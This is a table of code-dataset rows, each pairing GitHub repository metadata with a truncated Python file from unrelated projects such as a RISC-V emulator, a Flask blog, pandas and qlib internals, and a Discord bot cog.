hexsha stringlengths 40 40 | size int64 4 1.02M | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 209 | max_stars_repo_name stringlengths 5 121 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 209 | max_issues_repo_name stringlengths 5 121 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 209 | max_forks_repo_name stringlengths 5 121 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 1.02M | avg_line_length float64 1.07 66.1k | max_line_length int64 4 266k | alphanum_fraction float64 0.01 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d49fc7ede1c72540847e941c37d5dac38d26affa | 1,911 | py | Python | FindU.py | SWCapstone2021/NLP | 3354153542603f8eef6a96994c903a3741ed31ae | [
"Apache-2.0"
] | null | null | null | FindU.py | SWCapstone2021/NLP | 3354153542603f8eef6a96994c903a3741ed31ae | [
"Apache-2.0"
] | 21 | 2021-05-10T11:13:07.000Z | 2021-06-14T06:48:53.000Z | FindU.py | SWCapstone2021/NLP | 3354153542603f8eef6a96994c903a3741ed31ae | [
"Apache-2.0"
] | null | null | null | import os
from pprint import pprint as pp
from youtube_transcript_api import YouTubeTranscriptApi
from QA import load_qa_model, QA_system
from STT import load_stt_model, stt
from Summarization import load_summ_model, summary_script
from wordembedding import *
os.environ["CUDA_VISIBLE_DEVICES"] = "2"
def download_s... | 27.3 | 106 | 0.639456 |
f389b7bb3b1e51c81cc14c754c3fd3ee0ee29668 | 735 | py | Python | python_module/threading_study/threading_study03.py | panc-test/python-study | fb172ed4a4f7fb521de9a005cd55115ad63a5b6d | [
"MIT"
] | 1 | 2021-09-17T09:32:56.000Z | 2021-09-17T09:32:56.000Z | python_module/threading_study/threading_study03.py | panc-test/python-study | fb172ed4a4f7fb521de9a005cd55115ad63a5b6d | [
"MIT"
] | 2 | 2021-05-11T05:47:13.000Z | 2021-05-11T05:48:10.000Z | python_module/threading_study/threading_study03.py | panc-test/python-study | fb172ed4a4f7fb521de9a005cd55115ad63a5b6d | [
"MIT"
] | null | null | null | """
守护线程:
主线程不管守护线程的执行情况,只要是其他子线程结束且主线程执行完毕,主线程都会关闭。
常见方法:
1、setDaemon(True)方法可以把子线程设置为主线程的守护线程,此方法必须在start之前
2、join()方法,让主线程等待子线程执行,此方法在start之后
"""
import threading
import time
def run1(name,n):
for _ in range(n): #_下划线表示临时变量, 仅用一次,后面无需再用到
print(name,time.ctime())
time.sleep(1)
def run2(name,n... | 21.617647 | 79 | 0.655782 |
e006fb3bf5c048ef0e328e016aff03490b25a193 | 957 | py | Python | riscemu/__init__.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 9 | 2021-07-08T11:22:55.000Z | 2022-01-30T10:32:48.000Z | riscemu/__init__.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 8 | 2021-12-03T18:16:19.000Z | 2022-03-31T20:49:09.000Z | riscemu/__init__.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 2 | 2022-01-16T05:50:04.000Z | 2022-03-23T21:27:27.000Z | """
RiscEmu (c) 2021 Anton Lydike
SPDX-License-Identifier: MIT
This package aims at providing an all-round usable RISC-V emulator and debugger
It contains everything needed to run assembly files, so you don't need any custom compilers or toolchains
"""
from .Exceptions import RiscemuBaseException, LaunchDebuggerExc... | 30.870968 | 114 | 0.819227 |
49fa2c9b5405e2e467e3066bf6b8366ce35e84cf | 1,210 | py | Python | modules/dense_correspondence_manipulation/utils/constants.py | WangYixuan12/pytorch-dense-correspondence | 82f2a37aaadc7638a89a224bd772dac7dad36906 | [
"BSD-3-Clause"
] | 520 | 2018-06-25T00:46:38.000Z | 2022-03-27T11:01:07.000Z | modules/dense_correspondence_manipulation/utils/constants.py | mmichelis/dense-object-nets-python3 | c77cac0271219cd11940004e910951cdf4765e51 | [
"BSD-3-Clause"
] | 66 | 2018-07-23T15:16:04.000Z | 2021-08-10T13:40:25.000Z | modules/dense_correspondence_manipulation/utils/constants.py | mmichelis/dense-object-nets-python3 | c77cac0271219cd11940004e910951cdf4765e51 | [
"BSD-3-Clause"
] | 121 | 2018-06-26T13:52:03.000Z | 2022-03-27T11:00:45.000Z | import os
import dense_correspondence_manipulation.utils.utils as utils
CHANGE_DETECTION_CONFIG_FILE = os.path.join(utils.getDenseCorrespondenceSourceDir(), 'config', 'stations', 'RLG_iiwa_1', 'change_detection.yaml')
CHANGE_DETECTION_BACKGROUND_SUBTRACTION_CONFIG_FILE = os.path.join(utils.getDenseCorrespondenceSourc... | 57.619048 | 191 | 0.761983 |
994ad2c8c2984a3794a0100af848df796ce54a6d | 12,621 | py | Python | src/klein/_session.py | dimabe/klein | 272508296d1d0fe9206ce1e33ed572d775f164ac | [
"MIT"
] | null | null | null | src/klein/_session.py | dimabe/klein | 272508296d1d0fe9206ce1e33ed572d775f164ac | [
"MIT"
] | null | null | null | src/klein/_session.py | dimabe/klein | 272508296d1d0fe9206ce1e33ed572d775f164ac | [
"MIT"
] | null | null | null | # -*- test-case-name: klein.test.test_session -*-
from typing import (
Any, Callable, Optional as _Optional, TYPE_CHECKING, Union
)
import attr
from twisted.internet.defer import inlineCallbacks, returnValue
from twisted.python.reflect import qual
from twisted.web.http import UNAUTHORIZED
from twisted.web.resour... | 41.245098 | 79 | 0.635924 |
f227573c8fb6cfa306fefbc5b8dc23a9b3b28225 | 123 | py | Python | states.py | GrishaVoronin/Rulimpbot | 61dd2ef2d4d654ff1ae9e602dc92ffaefef3077d | [
"Apache-2.0"
] | null | null | null | states.py | GrishaVoronin/Rulimpbot | 61dd2ef2d4d654ff1ae9e602dc92ffaefef3077d | [
"Apache-2.0"
] | null | null | null | states.py | GrishaVoronin/Rulimpbot | 61dd2ef2d4d654ff1ae9e602dc92ffaefef3077d | [
"Apache-2.0"
] | null | null | null | from aiogram.dispatcher.filters.state import StatesGroup, State
class UserParams(StatesGroup):
SetOlympiad = State()
| 20.5 | 63 | 0.788618 |
b843be025634b756b6baeb5718528af4e4ca8344 | 375 | py | Python | main.py | JustAnOkapi/Unit-Circle | 6147f9119f70fd8c109aa79dd45bc62031edf610 | [
"Unlicense"
] | null | null | null | main.py | JustAnOkapi/Unit-Circle | 6147f9119f70fd8c109aa79dd45bc62031edf610 | [
"Unlicense"
] | null | null | null | main.py | JustAnOkapi/Unit-Circle | 6147f9119f70fd8c109aa79dd45bc62031edf610 | [
"Unlicense"
] | null | null | null | from sympy import *
from prettytable import PrettyTable, ALL
circle = PrettyTable(["Degree", "Radian", "sin()", "cos()"])
circle.hrules = ALL
for deg in [0,30,45,60,90,120,135,150,180,210,225,240,300,315,330]:
rad = Rational(deg, 180) * pi
circle.add_row([deg, pretty(rad), pretty(sin(rad)), pretty(cos(rad))])... | 34.090909 | 75 | 0.669333 |
f29362acf8c625402b273c9a2bb9ed5536e93bb9 | 510 | py | Python | Array/Medium/56. Merge Intervals/solution.py | tintindas/leetcode-solutions | eb97254dafddffccbce048ef04aea1e934277282 | [
"MIT"
] | 1 | 2021-03-10T02:48:39.000Z | 2021-03-10T02:48:39.000Z | Array/Medium/56. Merge Intervals/solution.py | tintindas/leetcode-solutions | eb97254dafddffccbce048ef04aea1e934277282 | [
"MIT"
] | null | null | null | Array/Medium/56. Merge Intervals/solution.py | tintindas/leetcode-solutions | eb97254dafddffccbce048ef04aea1e934277282 | [
"MIT"
] | 1 | 2021-03-18T08:22:29.000Z | 2021-03-18T08:22:29.000Z | from typing import List
class Solution:
def merge(self, intervals: List[List[int]]) -> List[List[int]]:
res = []
intervals.sort()
start = intervals[0][0]
end = intervals[0][1]
for i in range(1, len(intervals)):
s, e = intervals[i]
if end < s:
... | 23.181818 | 67 | 0.452941 |
bd02ef3c5a1fc287510851ff6af5853af4628f8a | 1,280 | py | Python | src/python/pants/backend/jvm/subsystems/jar_tool.py | revl/pants | 8ad83e4ca80c095d44efceafd8b41e575da39c65 | [
"Apache-2.0"
] | 1 | 2021-05-05T18:58:28.000Z | 2021-05-05T18:58:28.000Z | src/python/pants/backend/jvm/subsystems/jar_tool.py | revl/pants | 8ad83e4ca80c095d44efceafd8b41e575da39c65 | [
"Apache-2.0"
] | null | null | null | src/python/pants/backend/jvm/subsystems/jar_tool.py | revl/pants | 8ad83e4ca80c095d44efceafd8b41e575da39c65 | [
"Apache-2.0"
] | 3 | 2020-06-30T08:28:13.000Z | 2021-07-28T09:35:57.000Z | # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from pants.backend.jvm.subsystems.jvm_tool_mixin import JvmToolMixin
from pants.base.workunit import WorkUnitLabel
from pants.java.jar.jar_dependency import JarDependency
from pants.subsys... | 33.684211 | 92 | 0.632813 |
a28862cd74cd574b75c1b2f7316afcd4dc0db015 | 278 | py | Python | lego/apps/permissions/validators.py | andrinelo/lego | 9b53c8fe538d9107b980a70e2a21fb487cc3b290 | [
"MIT"
] | null | null | null | lego/apps/permissions/validators.py | andrinelo/lego | 9b53c8fe538d9107b980a70e2a21fb487cc3b290 | [
"MIT"
] | null | null | null | lego/apps/permissions/validators.py | andrinelo/lego | 9b53c8fe538d9107b980a70e2a21fb487cc3b290 | [
"MIT"
] | null | null | null | from django.core.validators import RegexValidator
class KeywordPermissionValidator(RegexValidator):
regex = r'^/([a-zA-Z]+/)+$'
message = 'Keyword permissions can only contain forward slashes and letters ' \
'and must begin and end with a forward slash'
| 34.75 | 83 | 0.708633 |
51dcd1f55be9bc078de30dc520a30a33b11a8f78 | 1,088 | py | Python | tests/air-spider/test_air_spider.py | RuixiangS/feapder | e21098c9d4f4ba001275f4d4d57d6ea4687b93a8 | [
"MIT"
] | 876 | 2021-02-09T11:08:04.000Z | 2022-03-31T21:14:11.000Z | tests/air-spider/test_air_spider.py | lovebull/feapder | 1cee596380b6ce5e1615ef81d3e57a1b290129d9 | [
"MIT"
] | 94 | 2021-02-20T07:59:28.000Z | 2022-03-28T09:54:53.000Z | tests/air-spider/test_air_spider.py | lovebull/feapder | 1cee596380b6ce5e1615ef81d3e57a1b290129d9 | [
"MIT"
] | 172 | 2021-02-22T08:24:44.000Z | 2022-03-29T08:15:27.000Z | # -*- coding: utf-8 -*-
"""
Created on 2020/4/22 10:41 PM
---------
@summary:
---------
@author: Boris
@email: boris_liu@foxmail.com
"""
import feapder
class TestAirSpider(feapder.AirSpider):
# __custom_setting__ = dict(
# LOG_LEVEL = "INFO"
# )
def start_callback(self):
print("爬虫开始")
... | 22.204082 | 64 | 0.587316 |
fa1ed55c465c714cab7cbd8aebcd67ec78ad7fa2 | 6,170 | py | Python | tests/fixtures/postgres_fixtures.py | autosuggested/fidesops | a399abbc39e8fc528bc31d1bd3f0419c3379e6f3 | [
"Apache-2.0"
] | 41 | 2021-11-01T23:53:43.000Z | 2022-03-22T23:07:56.000Z | tests/fixtures/postgres_fixtures.py | autosuggested/fidesops | a399abbc39e8fc528bc31d1bd3f0419c3379e6f3 | [
"Apache-2.0"
] | 235 | 2021-11-01T20:31:55.000Z | 2022-03-31T15:40:58.000Z | tests/fixtures/postgres_fixtures.py | autosuggested/fidesops | a399abbc39e8fc528bc31d1bd3f0419c3379e6f3 | [
"Apache-2.0"
] | 12 | 2021-11-02T00:44:51.000Z | 2022-03-14T16:23:10.000Z | import logging
import pytest
from typing import Dict, Generator, List
from uuid import uuid4
from sqlalchemy.orm import (
Session,
)
from sqlalchemy.sql import text
from sqlalchemy_utils.functions import (
create_database,
database_exists,
drop_database,
)
from fidesops.db.session import get_db_sessio... | 29.663462 | 85 | 0.64376 |
0d173ca56c3efb0f15e676be4b598d2e6aec7b16 | 1,075 | py | Python | amazon-practice/python/arrays-and-strings/2-longest-substring-without-repeating-characters.py | souradeepta/leetcode-practice | f20235c0e3846362a86443bc24339b337f43af04 | [
"MIT"
] | null | null | null | amazon-practice/python/arrays-and-strings/2-longest-substring-without-repeating-characters.py | souradeepta/leetcode-practice | f20235c0e3846362a86443bc24339b337f43af04 | [
"MIT"
] | null | null | null | amazon-practice/python/arrays-and-strings/2-longest-substring-without-repeating-characters.py | souradeepta/leetcode-practice | f20235c0e3846362a86443bc24339b337f43af04 | [
"MIT"
] | null | null | null | # Longest Substring Without Repeating Characters
# Brute force:: Time: O(n^3), Space: O(min(n,n)) We need O(k) space for checking a substring
# has no duplicate characters, where k is the size of the Set. The size of the Set is upper bounded
# by the size of the string n and the size of the charset/alphabet m
#
# Sl... | 41.346154 | 100 | 0.581395 |
cc8fbcf68fb9959441ac06742cf94d811cf0be4d | 1,422 | py | Python | app.py | Shrawant13/myblog | 8fc2536aab4c836d5a2ff6bb32e59cb2ac9a3b2a | [
"MIT"
] | null | null | null | app.py | Shrawant13/myblog | 8fc2536aab4c836d5a2ff6bb32e59cb2ac9a3b2a | [
"MIT"
] | null | null | null | app.py | Shrawant13/myblog | 8fc2536aab4c836d5a2ff6bb32e59cb2ac9a3b2a | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI']='sqlite:///blog.db'
db =SQLAlchemy(app)
class Blogpost(db.Model):
id = db.Column(db.Integer, primary_key=... | 25.392857 | 106 | 0.696906 |
7f50439a3d99c21171c97a01553f0577ec8136f2 | 449 | py | Python | tests/test_multiple_docs.py | miselin/templatizer | e838b6246c4bbf22b39cbf6f635b1c92cc9da113 | [
"MIT"
] | null | null | null | tests/test_multiple_docs.py | miselin/templatizer | e838b6246c4bbf22b39cbf6f635b1c92cc9da113 | [
"MIT"
] | 2 | 2022-03-30T04:00:10.000Z | 2022-03-30T04:30:08.000Z | tests/test_multiple_docs.py | miselin/templatizer | e838b6246c4bbf22b39cbf6f635b1c92cc9da113 | [
"MIT"
] | null | null | null | """Tests for combining multiple documents."""
import unittest
from utils import Simple
import templatizer
# pylint: disable=C0116,R0201
class TestMultipleDocumentGeneration(unittest.TestCase):
"""Unit tests for non-imperative templating."""
def test_simple_property(self):
contents = templatizer.ru... | 21.380952 | 56 | 0.714922 |
c3d5c7cc3170ba5d156f5550f32565c5e694f5b1 | 4,320 | py | Python | rateapp/views.py | Angelamutyota/ratemysite | 7ed3b95ec820f0b05a816a5822974278ceba2b20 | [
"Unlicense",
"MIT"
] | null | null | null | rateapp/views.py | Angelamutyota/ratemysite | 7ed3b95ec820f0b05a816a5822974278ceba2b20 | [
"Unlicense",
"MIT"
] | null | null | null | rateapp/views.py | Angelamutyota/ratemysite | 7ed3b95ec820f0b05a816a5822974278ceba2b20 | [
"Unlicense",
"MIT"
] | null | null | null | from django.http.response import Http404
from rest_framework import serializers
from rateapp.forms import ProjectForm, CreateUserForm, ProfileForm
from django.shortcuts import render, redirect
from django.http import HttpResponse
from.models import Profile, Project
from django.contrib import messages
from django.contr... | 34.83871 | 98 | 0.688194 |
1dcb30e71630b8cb00f79c2140e351cef000b661 | 5,973 | py | Python | scripts/store_spirals.py | backdfund/analyzer | 3069008aad80a2131b2c33d6d3dabd4f22e0a946 | [
"MIT"
] | 18 | 2021-02-17T23:04:03.000Z | 2022-02-02T23:07:32.000Z | scripts/store_spirals.py | Guangye-C/analyzer | 3069008aad80a2131b2c33d6d3dabd4f22e0a946 | [
"MIT"
] | null | null | null | scripts/store_spirals.py | Guangye-C/analyzer | 3069008aad80a2131b2c33d6d3dabd4f22e0a946 | [
"MIT"
] | 2 | 2021-09-12T03:12:44.000Z | 2022-03-30T09:34:40.000Z | import argparse
import dataclasses
import json
import os
from dataclasses import dataclass
from typing import List
import pymongo
import stringcase
from backd.db import db
from backd.logger import logger
# use cETH as the default asset for which to get all spirals
DEFAULT_ASSET = "0x4ddc2d193948926d02f9b1fe9e1daa071... | 29.136585 | 87 | 0.644065 |
1eccfcaeaacb9bad72ee70b4e3ae34fc5d96e5f8 | 1,023 | py | Python | Processes/imscommon/imscommon/table_joiner.py | rangaswamymr/incubator-bluemarlin | 6cb60b2a41edc6509377f9eacb7660d199a9485b | [
"Apache-2.0"
] | 4 | 2021-04-08T17:17:34.000Z | 2022-02-25T11:52:21.000Z | Processes/imscommon/imscommon/table_joiner.py | rangaswamymr/incubator-bluemarlin | 6cb60b2a41edc6509377f9eacb7660d199a9485b | [
"Apache-2.0"
] | 23 | 2021-03-09T20:37:02.000Z | 2022-03-07T16:16:32.000Z | Processes/imscommon/imscommon/table_joiner.py | rangaswamymr/incubator-bluemarlin | 6cb60b2a41edc6509377f9eacb7660d199a9485b | [
"Apache-2.0"
] | 6 | 2021-03-08T19:46:09.000Z | 2022-01-12T17:59:29.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | 40.92 | 75 | 0.73998 |
175127b2e9c4788dea80e2cfafed6fee9e523882 | 101 | py | Python | lib/python2.7/_weakrefset.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 6 | 2017-01-22T03:15:01.000Z | 2019-12-01T16:19:36.000Z | lib/python2.7/_weakrefset.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 4 | 2020-02-11T23:39:49.000Z | 2022-01-13T00:40:48.000Z | lib/python2.7/_weakrefset.py | wfehrnstrom/harmonize | e5661d24b2021739e8ac4bf1d3a530eda4e155b3 | [
"MIT"
] | 6 | 2017-01-19T21:49:55.000Z | 2021-04-14T09:57:17.000Z | /usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/_weakrefset.py | 101 | 101 | 0.821782 |
56fe810c38d04fad8545d45217c679c1ca3dfe4b | 14,966 | py | Python | qlib/workflow/expm.py | Rekind1e/qlib | 373f6e0900df73a6741c73fd89882edadcd9e968 | [
"MIT"
] | null | null | null | qlib/workflow/expm.py | Rekind1e/qlib | 373f6e0900df73a6741c73fd89882edadcd9e968 | [
"MIT"
] | null | null | null | qlib/workflow/expm.py | Rekind1e/qlib | 373f6e0900df73a6741c73fd89882edadcd9e968 | [
"MIT"
] | null | null | null | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
import mlflow
from mlflow.exceptions import MlflowException
from mlflow.entities import ViewType
import os
from pathlib import Path
from contextlib import contextmanager
from typing import Optional, Text
from .exp import MLflowExperiment, Experi... | 38.772021 | 187 | 0.634639 |
618da9d33c49096eefbf5b3384c29ac97cc58080 | 5,780 | py | Python | crabageprediction/venv/Lib/site-packages/pandas/io/parsers/arrow_parser_wrapper.py | 13rianlucero/CrabAgePrediction | 92bc7fbe1040f49e820473e33cc3902a5a7177c7 | [
"MIT"
] | 3 | 2021-11-23T05:35:28.000Z | 2022-02-10T08:05:53.000Z | crabageprediction/venv/Lib/site-packages/pandas/io/parsers/arrow_parser_wrapper.py | 13rianlucero/CrabAgePrediction | 92bc7fbe1040f49e820473e33cc3902a5a7177c7 | [
"MIT"
] | 5 | 2022-02-13T14:38:04.000Z | 2022-02-15T00:13:07.000Z | crabageprediction/venv/Lib/site-packages/pandas/io/parsers/arrow_parser_wrapper.py | 13rianlucero/CrabAgePrediction | 92bc7fbe1040f49e820473e33cc3902a5a7177c7 | [
"MIT"
] | 4 | 2022-02-04T22:58:27.000Z | 2022-02-14T19:29:18.000Z | from __future__ import annotations
from pandas._typing import ReadBuffer
from pandas.compat._optional import import_optional_dependency
from pandas.core.dtypes.inference import is_integer
from pandas.core.frame import DataFrame
from pandas.io.parsers.base_parser import ParserBase
class ArrowParserWrapper(ParserBa... | 36.582278 | 86 | 0.585121 |
522b3cfb13190630c002ab86511835edff5a93f8 | 1,551 | py | Python | geotrek/trekking/tests/test_trek_relationship.py | pierreloicq/Geotrek-admin | 00cd29f29843f2cc25e5a3c7372fcccf14956887 | [
"BSD-2-Clause"
] | 50 | 2016-10-19T23:01:21.000Z | 2022-03-28T08:28:34.000Z | geotrek/trekking/tests/test_trek_relationship.py | pierreloicq/Geotrek-admin | 00cd29f29843f2cc25e5a3c7372fcccf14956887 | [
"BSD-2-Clause"
] | 1,422 | 2016-10-27T10:39:40.000Z | 2022-03-31T13:37:10.000Z | geotrek/trekking/tests/test_trek_relationship.py | pierreloicq/Geotrek-admin | 00cd29f29843f2cc25e5a3c7372fcccf14956887 | [
"BSD-2-Clause"
] | 46 | 2016-10-27T10:59:10.000Z | 2022-03-22T15:55:56.000Z | from django.test import TestCase
from django.db import IntegrityError
from django.db.models import Q
from ..factories import TrekFactory, TrekRelationshipFactory
from ..models import TrekRelationship
class TrekRelationshipsTestCase(TestCase):
def setUp(self):
self.trek1 = TrekFactory(name="1")
s... | 43.083333 | 98 | 0.722115 |
09cdfb3aae3976468432da0c2ed7f473b966c314 | 297 | py | Python | macgen.py | MagicVin/Virtualization-Lab | 087671f8387b716f51eeb9aa347217782283cfba | [
"MIT"
] | null | null | null | macgen.py | MagicVin/Virtualization-Lab | 087671f8387b716f51eeb9aa347217782283cfba | [
"MIT"
] | null | null | null | macgen.py | MagicVin/Virtualization-Lab | 087671f8387b716f51eeb9aa347217782283cfba | [
"MIT"
] | 1 | 2022-02-01T05:33:39.000Z | 2022-02-01T05:33:39.000Z | #!/usr/bin/env python3
import random
def randomMAC():
mac = [ 0x00, 0x16, 0x3e,
random.randint(0x00, 0x7f),
random.randint(0x00,0xff),
random.randint(0x00,0xff)]
return ':'.join(map(lambda x: '%02x' % x, mac))
#return ':'.join(map(lambda x: format(x, '02x'), mac))
print(randomMAC())
| 22.846154 | 56 | 0.646465 |
827318bd47c604eb3b0828448db316fb4acd2446 | 1,619 | py | Python | sample_config.py | freshremix/YouTube-Downloader-1 | 6cf005885d6bfd152e80aa1c73f878bfd03fd04a | [
"MIT"
] | 1 | 2021-04-07T16:33:36.000Z | 2021-04-07T16:33:36.000Z | sample_config.py | freshremix/YouTube-Downloader-1 | 6cf005885d6bfd152e80aa1c73f878bfd03fd04a | [
"MIT"
] | null | null | null | sample_config.py | freshremix/YouTube-Downloader-1 | 6cf005885d6bfd152e80aa1c73f878bfd03fd04a | [
"MIT"
] | 7 | 2021-09-24T00:16:25.000Z | 2022-03-18T03:37:58.000Z | import os
class Config(object):
# get a token from @BotFather
TG_BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
# The Telegram API things
# Get these values from my.telegram.org
APP_ID = int(os.environ.get("APP_ID", 12345))
API_HASH = os.environ.get("API_HASH")
# Array to store users who a... | 29.436364 | 98 | 0.686226 |
6e70b7b7f0b528f0ade3cab8ce98ef3f692a1104 | 6,463 | py | Python | python/simPlayoffs.py | saisenberg/nba-sim | 1b839496f77d45173aa98663f98de634fbb31a47 | [
"MIT"
] | 2 | 2019-10-21T12:45:40.000Z | 2021-05-22T11:12:05.000Z | python/simPlayoffs.py | saisenberg/nba-sim | 1b839496f77d45173aa98663f98de634fbb31a47 | [
"MIT"
] | null | null | null | python/simPlayoffs.py | saisenberg/nba-sim | 1b839496f77d45173aa98663f98de634fbb31a47 | [
"MIT"
] | 1 | 2018-10-14T11:37:15.000Z | 2018-10-14T11:37:15.000Z | from playoffInitialize import playoffInitialize
from playoffSeriesSim import playoffSeriesSim
# Simulate round 1 of playoffs
def simRound1(standings_combined, depth, injuries, cities, city_abbrvs, pca_s, pca_b, RF,
win_prob_power, injury_freq, injury_print=False, result_print=False):
playoffInitiali... | 46.164286 | 127 | 0.63763 |
22b192e4be7b7eedea13e134737ce51a23b66f11 | 5,710 | py | Python | voicefixer/base.py | ishine/voicefixer | 0966a2f39096575cf8ae3fed8b53daf2f4512f35 | [
"MIT"
] | 159 | 2021-09-26T08:09:45.000Z | 2022-03-30T07:51:02.000Z | voicefixer/base.py | ishine/voicefixer | 0966a2f39096575cf8ae3fed8b53daf2f4512f35 | [
"MIT"
] | 15 | 2021-09-30T04:28:09.000Z | 2022-03-27T05:06:32.000Z | voicefixer/base.py | ishine/voicefixer | 0966a2f39096575cf8ae3fed8b53daf2f4512f35 | [
"MIT"
] | 32 | 2021-09-27T03:24:01.000Z | 2022-03-30T07:52:15.000Z | import librosa.display
from voicefixer.tools.pytorch_util import *
from voicefixer.tools.wav import *
from voicefixer.restorer.model import VoiceFixer as voicefixer_fe
import os
EPS = 1e-8
class VoiceFixer(nn.Module):
def __init__(self):
super(VoiceFixer, self).__init__()
self._model = voicefixer... | 40.785714 | 127 | 0.570053 |
e46509404c1da16bf74fffac2e5ba1d83e29df14 | 5,326 | py | Python | python/onshape_client/oas/models/btp_statement_return281_all_of.py | toebes/onshape-clients | a26cf6a77cfc7901321e603d5a097e23eb51e35c | [
"MIT"
] | 14 | 2019-06-23T08:47:41.000Z | 2021-11-29T16:28:45.000Z | python/onshape_client/oas/models/btp_statement_return281_all_of.py | toebes/onshape-clients | a26cf6a77cfc7901321e603d5a097e23eb51e35c | [
"MIT"
] | 40 | 2019-05-22T14:39:46.000Z | 2022-03-10T10:36:17.000Z | python/onshape_client/oas/models/btp_statement_return281_all_of.py | toebes/onshape-clients | a26cf6a77cfc7901321e603d5a097e23eb51e35c | [
"MIT"
] | 24 | 2019-06-02T01:03:41.000Z | 2022-03-29T13:25:36.000Z | # coding: utf-8
"""
Onshape REST API
The Onshape REST API consumed by all clients. # noqa: E501
The version of the OpenAPI document: 1.113
Contact: api-support@onshape.zendesk.com
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
im... | 33.496855 | 97 | 0.614532 |
c6a2852e5b2718a41834746d657d4baa50746bc3 | 5,360 | py | Python | python/pyspark/pandas/tests/test_ops_on_diff_frames_groupby_expanding.py | nolanliou/spark | 20750a3f9e13a2f02860859f87bbc38a18cba85e | [
"BSD-2-Clause",
"Apache-2.0",
"CC0-1.0",
"MIT",
"MIT-0",
"ECL-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 3 | 2021-06-29T01:32:35.000Z | 2021-08-19T15:20:26.000Z | python/pyspark/pandas/tests/test_ops_on_diff_frames_groupby_expanding.py | nolanliou/spark | 20750a3f9e13a2f02860859f87bbc38a18cba85e | [
"BSD-2-Clause",
"Apache-2.0",
"CC0-1.0",
"MIT",
"MIT-0",
"ECL-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 29 | 2021-06-02T09:17:28.000Z | 2022-03-14T01:35:18.000Z | python/pyspark/pandas/tests/test_ops_on_diff_frames_groupby_expanding.py | nolanliou/spark | 20750a3f9e13a2f02860859f87bbc38a18cba85e | [
"BSD-2-Clause",
"Apache-2.0",
"CC0-1.0",
"MIT",
"MIT-0",
"ECL-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2 | 2017-03-04T15:26:52.000Z | 2021-12-17T17:42:52.000Z | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | 39.124088 | 99 | 0.625 |
43a986766b0e690729eecf344f70123725edeefd | 6,902 | py | Python | src/cogs/apis.py | Dakskihedron/kitakami | 0c1b9530690669aac581d9c8d98e605b9b253ad7 | [
"MIT"
] | null | null | null | src/cogs/apis.py | Dakskihedron/kitakami | 0c1b9530690669aac581d9c8d98e605b9b253ad7 | [
"MIT"
] | 1 | 2021-07-29T06:55:32.000Z | 2021-07-29T06:55:32.000Z | src/cogs/apis.py | Dakskihedron/kitakami | 0c1b9530690669aac581d9c8d98e605b9b253ad7 | [
"MIT"
] | null | null | null | import discord
from discord.ext import commands
from datetime import datetime
import aiohttp
import json
import os
import random
import re
nasa_api_key = os.getenv('NASA_API_KEY')
owm_api_key = os.getenv('OWM_API_KEY')
class APIs(commands.Cog):
"""Commands related to APIs."""
def __init__(self, bot):
... | 29.622318 | 79 | 0.509997 |
7690ed18505ddeac8d56fcc790302e460cd43b4e | 10,468 | py | Python | MAEnv/MAS_enviroment/MAS_Checkers.py | Abluceli/Multi-agent-Reinforcement-Learning-Algorithms | 15810a559e2f2cf9e5fcb158c083f9e9dd6012fc | [
"MIT"
] | 5 | 2020-05-25T03:08:09.000Z | 2022-02-27T05:57:28.000Z | MAEnv/MAS_enviroment/MAS_Checkers.py | Abluceli/Multi-agent-Reinforcement-Learning-Algorithms | 15810a559e2f2cf9e5fcb158c083f9e9dd6012fc | [
"MIT"
] | 1 | 2020-12-22T01:35:36.000Z | 2022-01-28T01:51:06.000Z | MAEnv/MAS_enviroment/MAS_Checkers.py | Abluceli/Multi-agent-Reinforcement-Learning-Algorithms | 15810a559e2f2cf9e5fcb158c083f9e9dd6012fc | [
"MIT"
] | 1 | 2020-05-06T01:56:55.000Z | 2020-05-06T01:56:55.000Z | #!/usr/bin/env python3
# encoding=utf-8
